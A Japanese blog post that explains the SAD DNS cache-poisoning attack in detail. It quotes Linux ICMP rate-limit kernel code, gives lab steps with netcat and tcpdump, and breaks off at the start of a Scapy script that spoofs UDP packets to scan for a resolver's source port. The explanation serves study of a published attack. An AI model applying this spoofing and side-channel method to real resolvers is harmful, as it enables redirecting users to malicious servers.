  • キャッシュポイズニングのためには権威DNSサーバ正規の応答を返すより先に攻撃者が偽の応答を返す必要がある
    • DNSではデフォルトでUDPが使われるため偽装が比較的容易
  • DNSキャッシュポイズニングではSource PortとQuery IDの両方を推測する必要がある
    • それぞれ16bitであるため、組み合わせは32bitとなり現実的な時間内では不可能
  • 今回のSAD DNSでは上のSource Portをスキャンにより推測することが出来る
    • つまり2の16乗でSource Portを推測できるため、あとはQuery IDを2の16乗で推測すれば良い
    • 2の16乗+2の16乗なので現実的な時間で総当り可能
  • Source PortのスキャンにICMP rate limitを悪用する(サイドチャネル攻撃)
    • DNSゾルバがDNS権威サーバに問い合わせるときのことを考える
    • DNSゾルバに対して攻撃者はUDPのパケットを送信する
      • 送信元IPアドレスDNS権威サーバのものに偽装する(権威サーバから返ってきたように見せかける)
      • UDP送信先ポート番号は1-65,535まで変化させていく
    • ポートが閉じている場合はICMP port unreachableが権威サーバに返される
      • 攻撃者はこのパケットを見ることが出来ない(見ることが出来たらそもそもポートスキャンは容易)
      • LinuxはICMPのrate limitがあり20msで50回しかICMPメッセージを送出できない(デフォルト設定の場合)
      • 50個UDPパケットを送り、その全てのポートが閉じられている場合はrate limitの上限に達する
    • 次に攻撃者は攻撃者のサーバのIPアドレスを送信元にして閉じられていそうなポートに対してUDPパケットを投げる
      • 上で送った50個のUDPパケットの宛先ポートが全て閉じられていればICMPのrate limitに達しているため何も返ってこない
      • しかし50ポートの中に1つでも開いているポートがあればrate limitに余裕があるためICMP port unreachableが返る(これは攻撃者に返ってくるので観測可能)
      • この挙動の違いによりポートが開いているか判別可能
      • あとは二分探索などで絞り込んでいけばSource Portが推測可能
  • 権威DNSサーバからの正規レスポンスを遅らせる
    • 上のスキャンは時間がかかるため(デフォルト設定の場合は1000 port/secが上限)、時間を稼ぐ必要がある
    • そこで攻撃者は権威DNSサーバに対してDNSゾルバのふりをして大量のDNSパケットを送信する
    • Response Rate Limiting(RRL)を実装しているサーバの場合はスキャンが来たとみなして意図的にレスポンスを遅くする
      • スキャンや不正行為の成功確率を下げるため
    • このセキュリティ機構を逆に悪用することでキャッシュポイズニングする時間を稼げる

一言で言ってしまえばDNSキャッシュポイズニングにはUDPのSource Port推測が必要で、その達成にICMP rate limitのサイドチャネル攻撃を用いるというものです。ICMP global rate limitはマシンで一つのカウントを共有しているため、ICMPメッセージを直接見ることが出来なくても数の減少から何個程度のICMPメッセージが返されたのか推測できてしまいます。

Cloudflareのブログから図を引用しておきます。実はこの図正確ではないという話を後半でしているのですが、概要を理解するためには良い図だと思うのでここに貼っておきます。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

上のスキャン方法は時間がかかるため時間を稼ぐ必要がります。今度は権威サーバ側のrate limitを悪用してレスポンスが返ってくるのを遅らせます。その手法とセットでようやく攻撃が現実的になります。

上の説明を読んで、もっと詳しく知りたいと思った方は以下の説明を読んでいただければと思います。

背景

先日、DNSキャッシュポイズニングに関する新たな攻撃方法としてSAD DNSが公開されました。

www.saddns.net

Cloudflareのブログもまとまっていて分かりやすいです。

blog.cloudflare.com

DNSのキャッシュポイズニングは古くからある手法ですが、2008年に公開されたKaminsky Attackが特に有名です。そもそもDNSキャッシュポイズニングって何?という話ですが、DNSでは問い合わせた結果を再利用するためキャッシュに保存します。そのキャッシュを攻撃者が望むような値に書き換えることで悪意あるサーバへ誘導するというものです。基本的には正規のリクエストが返ってくるより先に偽の応答を返すことで実現されます。スタブリゾルバやフォワーダーも全てキャッシュを持ちますし今回のSAD DNSではそれら全てを対象と出来ることを優位性として主張していますが、一般的にキャッシュポイズニングと言うとフルサービスリゾルバに対する攻撃を指すことが多いかと思います。

ここに関してもちゃんと説明すると長くなるので詳細は省きますが、JPRSから出ている以下のドキュメントにKaminsky Attack含めもう少し詳しく書いてあります。

https://jprs.jp/related-info/guide/009.pdf

かつてのキャッシュポイズニングはTTLの関係で一度キャッシュされてしまうと同じドメイン名に対する攻撃は即座に行えなかったのですが、Kaminsky Attackでは存在しないドメイン名(NXDOMAIN)を活用することでそれを回避して実質無制限に試行できるようになっています。NXDOMAINを汚染してどうするんだと思われるかもしれませんが、ADDITIONAL SECTIONを活用することで任意のドメイン名とそれに対応するIPアドレスをキャッシュさせることが出来ます。ちなみのこの部分についてはDNSプロトコルの問題ではなくBINDの実装ミスだったのではないかという疑惑があります。そうすると一般的な手法としているKaminskyさんの主張はやや間違っていることになりますが、自分は古いBINDバージョンで試して動くことは確認したものの、他のDNS実装でどうなのか?などは未確認なのでどちらが正しいとも言えないです。とりあえずはKaminskyさんが発表した内容に基づき上の説明は行っています。この辺りもいずれ自分でもう少し深く調査したいなと思います。

ということで話を戻しますが、簡単に言うと今まではキャッシュを汚染するのは難しかったのにKaminsky Attackによって(当時の環境において)劇的に簡単になったということです。

ですが、レスポンスを偽造するためにはざっくりいうと2つのランダムな値を推測する必要があります。

https://blog.cloudflare.com/content/images/2020/11/image4-6.png

※ 上記Cloudflareのブログより引用

その2つというのが図にもあるように

  • Source Port
  • Query ID

です。DNSはデフォルトではUDPなのでコネクションを張らなくても上の2つが推測できてしまえば正規のレスポンスの代わりに攻撃者が応答することが出来ます。Kaminsky Attackが公開された当時、クエリを発行するときのSource Portが固定になっているDNSサーバの実装が多かったため大きな問題となりました。Query IDは16bitであるため、65,536通りにしかなりません。この程度であれば総当たりで容易に推測可能です。そこでDNSサーバはSource Portをランダムにする実装を行いました。Source Portも16bitのため合計で推測する値が32bitになり現実的な時間内で総当りするのが困難になりました。

今回のSAD DNSではこのSource Portの推測が肝になります。ICMPのrate limitを用いたサイドチャネル攻撃によってSource Portが推測可能になり、あとはQuery IDを総当りすればよいだけなのでキャッシュポイズニングが現実的な時間で可能になります。

一通り読んで概要は理解できたのですが、よくよく考えると分からないところが多かったので自分で試したところ案の定うまくいきませんでした。あまりに気になりすぎたので勢い余って論文を全て読んでしまいました。攻撃手法の論文読むの楽しい。今忙しいのでそんなことをしている場合ではないのですが止まりませんでした。

https://dl.acm.org/doi/pdf/10.1145/3372297.3417280

疑問だったことは論文を読んで綺麗に解決しました。まさに知りたかったことが全て書いてあって凄い...

発表のプレゼン資料だったりCloudflareのブログだと概要になっていて大事なところが書かれていないので、自分が理解した範囲でもう少し細かくまとめておきます。

SAD DNSの解説

全体像

論文の内容をそのまま書くわけではなく、自分が面白いと思った点をかいつまんで補足しつつ説明しています。自分の補足が間違っている可能性もありますし、詳細が気になる人は論文を読んでみて下さい。

今回の手法は複数のレイヤーのキャッシュに対して攻撃可能になっています。論文の図を引用します。

f:id:knqyf263:20201119200538p:plain

論文 P.1339, Figure 1より引用

このようにDNSというのはいくつかのレイヤーがありますが、このうちAuthoritative name servers(以下、権威サーバ)以外に対して有効な手法です。論文中では主に影響の大きさからForwarderとRecursive Resolverについて解説しています。このブログでは簡単のためRecursive Resolver(以下、リゾルバ)に絞って説明します。

攻撃者の前提としては以下です。

  • 中間者攻撃ではない
    • 正規権威サーバの応答などを見ることは出来ない
  • IP spoofingが可能である
  • ゾルバに名前解決させることが可能
    • ゾルバにDNSクエリを問い合わせられるネットワークにいる

1つ目は、そもそもDNSサーバに対して中間者攻撃出来たら任意の値を返せるのでキャッシュポイズニングでは前提として中間者攻撃は出来ません。

ASによってはソースIPアドレスの詐称を出来なくしていますが、最近の研究によれば30.5%のASはそのような対策をしていないそうです。攻撃者はそのうちの一つを選べば2つ目の条件を満たせるため、これは容易です。論文内ではサーバのレンタルなどによって実現可能と書いています。

3つ目は同じLAN内からじゃないと受け付けないリゾルバなどの場合は、攻撃者がそのLANに入るかLANに属するマシンを乗っ取る必要があります。パブリックDNSサービスと呼ばれるもの(Cloudflareの1.1.1.1やGoogleの8.8.8.8が有名)はどこからでも受け付けるため、最初からこの条件を満たしています。

つまりいずれの条件も満たすのは簡単です。

では実際に攻撃の大まかな流れを書きます。

  1. UDPのソースポート番号を推測する
    • ICMPのサイドチャネル攻撃を使う
    • rate limitの関係で最大1000 port/sec程度のスキャン速度
  2. 攻撃のWindowを広げる(攻撃可能な時間を伸ばす)
    • 攻撃は権威サーバから正規レスポンスが返ってくる前に終わらせる必要がある
    • 65,535個ポートがあるにも関わらず1000 port/secでは通常スキャンが終わらないため、正規レスポンスが返ってくるのを遅延させる
  3. ソースポートが分かればQuery IDをブルートフォースする

3に関しては何も新規性はありません。また、2に関しても攻撃を成立させるためには重要なのですが、特に面白いなというわけでもなかったのであまり詳しくは説明しません。タイトルにもあるように1についてメインで解説します。

UDPのソースポートについて

まず、当たり前ですがUDPTCPと異なりステートレスなプロトコルです。論文でRFC 8085を参照しているので日本語版を少し見てみます。

tex2e.github.io

中に、下記のような記述があります。

UDPデータグラムは、接続設定なしで直接送受信できます。ソケットAPIを使用すると、アプリケーションは単一のUDPソケットで複数のIP送信元アドレスからパケットを受信できます。一部のサーバーはこれを使用して、単一のUDPソケットを通じて同時に複数のリモートホストとデータを交換します。多くのアプリケーションは、特定の送信元アドレスからパケットを確実に受信する必要があります。これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

普通に読むとサーバのことかなと思うわけですが、実はクライアントにも同じことが言えます。

以下のUDP送信サンプルプログラムを考えてみます(linterかけてないので規約がガバガバなのは目をつむって下さい)。

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

void show_port(int s) {
    struct sockaddr_in addr ;
    int len ;
    len = sizeof( addr );
    if(getsockname( s, (struct sockaddr *)&addr, &len)< 0 ) {
        perror("getsockname");
        exit( -1 );
    }
    printf("source port: %d\n",ntohs(addr.sin_port));
}

int main(int argc, char** argv) {
    int sock;
    struct sockaddr_in to, from;
    char rbuf[100];
    int fromlen, rcount ;

    if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    to.sin_family = AF_INET;
    to.sin_port = htons(10000);
    to.sin_addr.s_addr = inet_addr("192.168.33.10");

    if(sendto(sock, "test", 4, 0, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("sendto");
        return -1;
    }
    show_port(sock);

    fromlen = sizeof(from);
    rcount = recvfrom(sock, rbuf, sizeof(rbuf), 0, (struct sockaddr *)&from, &fromlen);
    if(rcount < 0) {
        perror("recvfrom");
        return -1;
    }

    printf("remote addr: %s\n", inet_ntoa(from.sin_addr));

    close(sock);

    return 0;
}

やっていることは簡単で、UDP用のソケットを開いて 192.168.33.10 の 10000番ポートにtestという値を送っているだけです。送ったら自分の送信元ポートを表示し、その後レスポンスが返ってきたらレスポンスを返してきたIPアドレスを表示します。

上のサンプルプロプログラムを試すにはサーバが2台必要です。まず 192.168.33.10 の10000番ポートでlistenしておきます。 -u つけるとUDPになります。

$ nc -ulp 10000

次にもう一台のサーバに入って上のプログラムを実行します。すると上の 192.168.33.10 のncにtestという文字が送られてくるので、適当にfooとか返しておきます。

$ gcc main.c
$ ./a.out
source port: 51244
remote addr: 192.168.33.10

すると上のような表示になります。192.168.33.10に送ったのだから192.168.33.10からレスポンスが返ってくるのも当たり前という気がしますが、実はそうではありません。ここでもう一台サーバを起動します(3台目)。先程同様に192.168.33.10上でncで待ち構えてからサンプルプログラムを実行します。

$ gcc main.c
$ ./a.out
source port: 51244

この時、192.168.33.10からレスポンスを返さずに3つ目のサーバ(今回の例では192.168.33.12)からプログラムを動かしているサーバ(192.168.33.11)の51244番ポートにUDPパケットを送ってみます。

$ nc -u 192.168.33.11 51244

すると、先程のサンプルプログラム上で以下のように表示されます。

$ ./a.out
source port: 51244
remote addr: 192.168.33.12

つまり、このプログラムは現在192.168.33.10と通信しているはずなのに192.168.33.12からのUDPパケットを受け取ってしまうということです。先程RFCに書いてあった

これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

はまさにこのことで、正しい相手と通信するためには自分でアプリケーション層で実装しなくてはならないということです。DNSでいうところのQuery IDだったりします。

これだと面倒という時もあるので、そういう場合はconnect()が使えます。先程のsocketを作ってからsendto()するまでの間に以下のコードを挟みます。

    if(connect(sock, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("connect");
        return -1;
    }

これで現在通信中の相手以外からのパケット(送信元のアドレスとポートが一致しない相手)は弾いてくれます。つまりアプリケーション側で弾く必要はありません。

www.coins.tsukuba.ac.jp

分かりやすい説明なので上のページから引用します。

UDP/IP では、connect() しなければ、1つのソケットで、複数の通信相手と データを送受信することができる。通信相手は、sendto() で指定し、 recvfrom() で任意の場所から受信することが普通である。connect() システ ムコールを使うと、特定の相手としか通信できなくなるが、connect() を使う 方法は、UDP/IP のプログラムの書き方としては一般的ではない。

この辺りはLinuxシステムプログラミングをしていれば知っていることかとは思いますが、このあとの説明で必要なので最初に簡単に説明しておきました。

まとめるとUDPのクライアントの実装としては以下の2種類があることになります。

  1. connect()しない場合
    • 任意のIPアドレス・ポートから受信可能
    • Public-Facing Source Portと呼ぶこととする
  2. connect()する場合
    • 特定の相手とのみ通信可能(ソースIPアドレス・ソースポート番号の確認が行われる)
    • Private Source Portと呼ぶこととする

上の説明でもconnect()を使う方法は一般的ではないと書かれているように、Unboundゃdnsmasqなどの有名なDNS実装ではconnect()が使われていないそうです。BINDではconnect()を使っています。

そして、もう一つ重要な点としてOSによって弾かれた場合とアプリケーション層で弾かれた場合で挙動が異なるということです。アプリケーション層で弾かれた場合はただ捨てられるだけですが、OSで弾かれた場合はICMPのport unreachableが送信元に返されます。この挙動の違いによってポートスキャンが可能になります。これはSAD DNSの手法ではなくて従来から利用されています。ポートスキャンツールではnmapなどが有名ですが、こういった挙動の差を利用してポートをスキャンしています。実際には対策が入っていてICMPだとうまく動作しなかったりするのでTCP SYNを使ったりポートスキャンにも手法が色々あるのですが、それは大きなテーマになるので今回は置いておきます。

話を戻すと、1の実装の場合はDNSゾルバがクエリを投げる時、そのソースポートはオープン状態になります。つまり攻撃者が任意のIPアドレスからポートスキャンをすると、クローズな場合はICMP port unreachableが返ってきますがオープンな時はICMPが返ってきません。この挙動を観察することで攻撃者は容易にソースポートを推測することが出来ます。ソースポートさえ分かってしまえば、あとは16bitのQuery IDを推測するだけなので攻撃実現性はかなり高まります。

ICMP rate limit

容易に推測可能と言いましたが、実際には対策が入っておりそこまで簡単ではありません。なぜかと言うとLinuxなどの主要OSにはICMPエラーを返す際のrate limitが設定されているためです。先程のICMP port unreachableは1秒あたりに返せる量の上限があるため、高速にスキャンすることが出来ません。

元々はルータなどでリソース消費を避けるためにICMPのrate limitは導入されましたが、現在では各OSでも広く実装されています。特に、LinuxにおいてはICMP rate limitは2種類あります。

  1. per-IP rate limit
  2. global rate limit
    • IPアドレス関係なくマシン全体が送出できるICMPの上限
    • kernel 3.18で導入

1はIPアドレス単位で保持する必要があるため、lookupなどは重い処理になります。それを緩和するために2が導入されたという背景のようです。

per-IP rate limit

1はsysctlのicmp_ratelimitによって制御されています。デフォルトでこの値は1000です。

icmp_ratelimit | sysctl-explorer.net

ソースコードを見ると、ここでinet_peer_xrlim_allow()net->ipv4.sysctl_icmp_ratelimitを渡しています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

inet_peer_xrlim_allow()の実装は以下。

linux/inetpeer.c at 386403a115f95997c2715691226e11a7b5cffcfd · torvalds/linux · GitHub

短いので貼っちゃいます。

#define XRLIM_BURST_FACTOR 6
bool inet_peer_xrlim_allow(struct inet_peer *peer, int timeout)
{
    unsigned long now, token;
    bool rc = false;

    if (!peer)
        return true;

    token = peer->rate_tokens;
    now = jiffies;
    token += now - peer->rate_last;
    peer->rate_last = now;
    if (token > XRLIM_BURST_FACTOR * timeout)
        token = XRLIM_BURST_FACTOR * timeout;
    if (token >= timeout) {
        token -= timeout;
        rc = true;
    }
    peer->rate_tokens = token;
    return rc;
}

token bucketの実装になっています。何それ?という方は適当にググってもらえると出ると思います。先程の icmp_ratelimit というのは実はtokenが回復する時間の指定になっています。1000というのは1000msを意味するので1秒に1ずつ回復していきます。つまり、実はICMPエラーは1秒に1つずつしか返せません。icmp_ratemask という値があってどのICMPメッセージタイプをrate limitの対象にするか、とかが選べるのですが長くなるのでとりあえずport unreachableは対象なんだなと考えて下さい。

上の実装をさらに見ると、バースト用の処理も実装されています。一時的に1秒間に1回以上送りたい場合は6回までは許容するようになっています。しかしそれも使い切ってしまうとやはり1 message/secで回復していきます。とりあえずざっくりIPアドレス単位で1秒に1つまで送れるんだなと思っておいて良いです。

自分が論文を読む前に特に疑問だったのはこの箇所です。今回のSAD DNSはglobal rate limitを悪用する手法なのですが、このper-IP rate limitによって全然ICMP port unreachableが返ってきません。その辺りもうまく解決しているのであとで解説します。

global rate limit

global rate limitに関する処理は以下です。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これも短いので貼っちゃいます。

bool icmp_global_allow(void)
{
    u32 credit, delta, incr = 0, now = (u32)jiffies;
    bool rc = false;

    /* Check if token bucket is empty and cannot be refilled
    * without taking the spinlock. The READ_ONCE() are paired
    * with the following WRITE_ONCE() in this same function.
    */
    if (!READ_ONCE(icmp_global.credit)) {
        delta = min_t(u32, now - READ_ONCE(icmp_global.stamp), HZ);
        if (delta < HZ / 50)
            return false;
    }

    spin_lock(&icmp_global.lock);
    delta = min_t(u32, now - icmp_global.stamp, HZ);
    if (delta >= HZ / 50) {
        incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
        if (incr)
            WRITE_ONCE(icmp_global.stamp, now);
    }
    credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);
    if (credit) {
        credit--;
        rc = true;
    }
    WRITE_ONCE(icmp_global.credit, credit);
    spin_unlock(&icmp_global.lock);
    return rc;
}

sysctlのicmp_msgs_per_secicmp_msgs_burst によって制御されています。実はこの2つや先ほどのicmp_ratelimitがどう作用するのかドキュメント読んでもさっぱり分からなくて困ってたのですが、ソースコードを読んだら短いし簡単に理解できたのでやはりソースコードこそが正義なところがあります。このicmp_msgs_per_secは1秒に何回ICMPメッセージを送ってよいかを制御する値です。この際、宛先は関係なくマシン全体でカウントされます。デフォルトは1000なので1秒に1000回まで送れます。

まず最初にdeltaを計算しています。

delta = min_t(u32, now - icmp_global.stamp, HZ);

前回ICMPを送った時刻(宛先問わず)からの経過時間です。ミリ秒になっているはずです。HZは環境にもよるようですが、大体1000だと思っておけば良いと思います。min_tしているので、時間が大きく経過している場合は1000になります。

次に、deltaHZ / 50 を比較しています。これはつまり20ms以上経過している場合のみ処理するという意味になります。その中で計算されているincrが回復を意味するので、20msごとにトークンが回復していることが分かります。つまり、icmp_msgs_per_sec とは言っているものの実は20msごとに計算される実装になっています。これはあとで結構重要です。20ms経過していればincrは20になるので、20個分送れるように容量が回復することになります。

if (delta >= HZ / 50) {
    incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
         ...
}

次に sysctl_icmp_msgs_burst と比較して小さい方を取っています。

credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);

これは先程のper IP rate limitの実装でも見たように、バースト用の処理になっています。1秒で1000回まで送れるとはいえ短期間に一気に送るのはまずいわけです。なので短期間で多数のICMP送信要求が来た場合は icmp_msgs_burst の値によって制御され(デフォルトでは50)、バーストしないように処理されます。20ms以内に多数来た場合は50回まで送れるということになります。つまり1秒で1000回と言っても最初の20msで1000回分送って、あと980msは0回みたいな送り方は許されていません。そして20ms経てばまた20メッセージ送れるようになります。50ms以上経過した場合は再び50になります(icmp_msgs_burstがデフォルト値の場合)。

if (credit) {
    credit--;
    rc = true;
}

あとはcreditが0じゃない場合はcreditを減らしていき、0の場合はdenyするという処理です。

分かりやすさのために具体的に数字を出して説明していますが、設定値によって挙動は異なりますので各値や環境に応じて読み替えて下さい。

論文によるとmacOS 10.15やFreeBSD 12.1.0ではglobal rate limitは実装されていたもののper-IP rate limitはなかったそうです。

Public-Facing Source Portのスキャン

これは先程説明したようにconnect()を使わない実装の場合のスキャン方法になります。UDPで雑にポートスキャンすればICMP port unreachableが返ってくるので判別可能なのですが、上で説明したper-IP ICMP rate limitのせいで1秒に1ポートしかスキャンできません(最初はバーストできるので6ポート可能)。

これの回避方法として3つ挙げています。

  1. 攻撃者が複数のIPアドレスを保つ場合
  2. 1つのIPv4しか持たないがDHCPで複数のIPアドレス取得が可能な場合
  3. 1つしかIPアドレスを持たず、上の1,2も難しい場合

まず1の場合ですが、UDPパケットを送信する際にソースIPアドレスを偽装してしまえばOKです。per-IPはIPアドレス単位のため、送信元さえ偽装してしまえばper-IPのrate limitはバイパス可能です。global rate limitには引っかかりますが、1秒につき1000ポートスキャン可能なのでper-IPに比べるとかなり緩和されます。例えばIPv6などを持つケースでは1000個のIPv6アドレスを自分のマシンにつけてしまって、それらをソースIPアドレスとしてUDPパケットを送ればICMP port unreachableがそれぞれのIPv6アドレスに返ってきます。その結果を見ればポートの開閉が判別できます。これはSAD DNSの手法というわけではなくて普通のスキャン手法です。

2はLAN内のフォワーダの話だと思うのでskipします。十分なグローバルIPアドレスを配ってくれるDHCPサーバならパブリックDNSサービスに対しても有効そうですが、最近IPv4枯渇してますし一旦スルーします。

3が重要です。適当に送信元を偽装することでper-IP rate limitの制限は回避できますが、そのレスポンスを攻撃者は見ることが出来ないためICMPエラーメッセージが返ってきたかどうかを知ることが出来ません。これだとポートが開いているかどうか判別不可能です。そこで、global rate limitに対してサイドチャネル攻撃を行います。Linuxの場合で手順を説明します。

まず最初に以下の図を見るとあとの説明が分かりやすいかと思います。

f:id:knqyf263:20201119173900p:plain

論文 P.1341, Figure 1より引用

50ポートずつスキャンしていきます。

■ スキャンしたポート番号の範囲内にオープンなポートがない場合

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 50個のICMP port unreachableがそれぞれのIPアドレスに返される
    • このレスポンスを攻撃者は見ることが出来ない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMPはglobal rate limitに引っかかって返ってこない

上記はすべて20ms以内に行う必要があります。20msを超えるとトークンが回復してしまうためです。先ほど説明したように20ms以内に送れるICMPエラーメッセージの数はicmp_msgs_burstによって制御されています。つまり全てのポートがcloseな場合、既に50個のICMP port unreachableが返されてrate limitの上限に達しています。その状態で検証用UDPパケットを送ってもrate limitのためにICMPエラーは返ってきません。

ではポートが空いている場合はどうでしょうか?

■ スキャンしたポート番号の範囲内にオープンなポートがある場合

上図では開いているポート数をnとしていますが以下の説明では1としています。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 49個のICMP port unreachableがそれぞれのIPアドレスに返される
    • 1つは開いているためICMPエラーを返さない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • 49個しかICMPメッセージを送出していないためglobal rate limitの上限に達していない

ということでポートが開いている場合と開いていない場合で、最後の検証用UDPパケットに対する挙動が異なります。1つでもポートが開いていればICMP port unreachableが返ってくるし、全て閉じていれば返ってきません。これで指定した50ポートの中にオープンなものがあることが分かるため、あとは二分探索などを適当にすればオープンポートを突き止められます。

なお、1回目のスキャンと2回目のスキャンは50ms以上間隔を空ける必要があります。そうしないと十分にglobal rate limitのトークンが回復していないためうまく挙動の違いを観測できません。

icmp_msgs_per_sec のデフォルト値が1000のため、この方法では1秒あたり1000ポートスキャン可能です。65,535ポート全てをスキャンするためには1分以上かかります。さらに、20ms以内に全てを行わないといけないため時間にシビアな攻撃手法となっています。ネットワークが不安定だったりすると20ms以内で送りきれなかったり、50msの間隔もうまくはかれなかったりするため実際にはさらに時間がかかります。これらを全てDNSクエリに対する応答が返ってくるまでに行わないといけないのでこのままだと厳しいのですが、最初に全体像で説明したように応答を遅らせる細工をすることで攻撃実現性を高めています。その方法についてはあとで少しだけ触れます。

また、よく利用されているDNSゾルバの場合はポートが多く開いていて、ノイズとなりえます。しかし通常のDNSクエリであればすぐに応答が返ってくるためそのポートもすぐに閉じられます。しかし攻撃対象のクエリはなかなか応答が来ないように細工するため、うまく実装すればすぐに消えたポートは無視して対象のポートのみに絞るこんでいくことが可能です。

他にもパケロス等もノイズとなりえます。その辺りについても解説されているので興味があれば論文をどうぞ。

Private Source Portのスキャン

connect()を使った実装の場合のスキャン方法です。BINDなどが該当します。これの難しい点としては、正しいソースIPアドレスを指定しないと弾かれてしまうという点です。そのため、ポートスキャンをするためには権威DNSサーバのソースIPアドレスを指定する必要があります(フォワーダが攻撃対象の場合はフルリゾルバのアドレスなど)。

下の図でいうとNameseverのIPアドレスをソースアドレスとして詐称したUDPパケットを攻撃対象のリゾルバに送ります。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

実はこのCloudflareの図は正しくありません。恐らく簡単に解説するために簡略化したのだと思いますが、実際には50個のICMPエラーは返ってきません。なぜなら既に説明したようにper-IP ICMP rate limitがあるためです。1秒に1回しか送出できないため、50個のICMPメッセージを返すためにはUDPパケットを1秒に1つずつゆっくり送る必要があります。特にこの部分がCloudflareの説明で理解できないところでした。

論文上ではここに関する説明も書いてあります。というのは、実はLinuxソースコードを見るとglobal rate limitはper-IP rate limitより先にチェックされます。icmp_reply()の実装を見ると、global rate limitをチェックするためのicmpv4_global_allow()はper-IP rate limitのicmpv4_xrlim_allow()より先に呼ばれています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これはどういうことかと言うと、仮にper-IP rate limitの制限に引っかかってICMPエラーが返って来ないとしてもglobal rate limiのトークンはしっかり消費しているということです。つまり仮にICMPエラーが返らないとしても先程のサイドチャネル攻撃が成立します。恐らく重たいper-IP rate limitより先に呼びたかったと思われるので皮肉なことだが意図的だろうと著者は推測しています。

実際にはICMPエラーは1つしか返ってこないので以下の図になります。

f:id:knqyf263:20201119200625p:plain

論文 P.1341, Figure 4より引用

仮にICMPエラーが1つしか返ってこないとしてもglobal rate limitのtokenは消費されているため、最後の検証用UDPパケットは異なる挙動になります。スキャンレンジ内のポートが1つ開いている場合について説明します。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、送信元IPアドレスは権威DNSサーバのものにする
  2. 1個のICMP port unreachableが権威DNSサーバに返される
    • per-IP rate limitの制限に引っかかるため
    • 49ポートは閉じておりglobal rate limitのtokenは49回分消費されるが、1回分だけ残る
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • global ate limitの上限に達していないため

全てのポートが閉じている場合はICMPエラーは返ってきません。

この方法で実はPublic-Facing Source Portのスキャンも可能です。per-IP rate limitをバイパスするために異なるIPアドレスを詐称していたわけですが、実は不要だったためです。

同様にノイズなどはありますが、Public-Facing Source Portと異なり、ソースIPアドレスが間違っていると弾いてくれるためノイズはかなり少ないです。

ということでソースポートの推測ができました。

攻撃Windowの拡張

スキャンが1分以上かかってしまうため、時間を稼ぐ必要があります。どうやるかと言うとResponse Rate Limiting(RRL)を悪用します。これもリゾルバに対して行うのかと思っていたので最初意味が分からなかったのですが、実は権威DNSサーバに対してfloodingするという意味でした。RRLというのはDNSにおけるrate limitです。

kb.isc.org

ざっくり説明するとスキャンのような怪しい通信を検知したらレスポンスを返すのを遅くする仕組みです。正規のリゾルバが正規の権威サーバに問い合わせたタイミングで攻撃者は正規の権威サーバに大量のDNSクエリを送信します。この際、同一のソースIPアドレスだったり同一の情報を要求したりすると不正として検出されます。その結果権威サーバがレスポンスを返すのが遅くなり、攻撃者がソースポートをスキャンする余裕が生まれるというわけです。発表資料の図が分かりやすいと思います。

f:id:knqyf263:20201119180238p:plain

発表資料 P.13より引用

これは皮肉なもので、悪用を防ぐためのrate limitが権威サーバにおいても攻撃に利用されています。rate limitを使ってソースポートを推測し、rate limitを使って攻撃Windowを広げる、ということでSAD DNSはrate limit尽くしな攻撃手法だと思います。

サイドチャネル攻撃でUDPソースポートを推測してみる

自分でもPoCを書いてみたのですが、発見者がリポジトリを非公開にしたようなので意図を汲んで自分も公開はしないでおきます。ですがソースポートの推測は非常にシンプルな仕組みなので、試し方を説明します。

まずサーバを3つ用意します。

  1. DNSフルリゾルバ役(192.168.33.10
  2. 権威DNSサーバ役(192.168.33.11
  3. 攻撃者役(192.168.33.12

実際にはDNSクエリは飛ばさずにncで代用します。

1から2に対してDNSの体でUDPで通信します。まず2のサーバ上でncでlistenします。

$ sudo nc -ulp 53

次に1から2の53番ポートに繋ぎ適当にデータを送ります。これがDNSクエリだと思ってください。

$ nc -u 192.168.33.11 53
foo

そして適当にtcpdumpでデータを見ます。

$ sudo tcpdump -nnni eth1 port 53
09:17:27.269535 IP 192.168.33.10.45682 > 192.168.33.11.53: domain [length 4 < 12] (invalid)

これで推測したいポート番号が45682であることが分かります。ではPythonのScapyを使ってPoCコードを書いてみます。

#!/usr/bin/python

from scapy.all import *
from more_itertools import chunked
import time
from tqdm import tqdm


burst = 50
dns_port = 53
resolver = "192.168.33.10"
auth = "192.168.33.11"

def scan(src, sport, dst, ports):
    time.sleep(0.1)

    pkts = []
    for p in ports + [1] * (burst - len(ports)):
        pkt = IP(src=src, dst=dst)/UDP(sport=sport, dport=p)
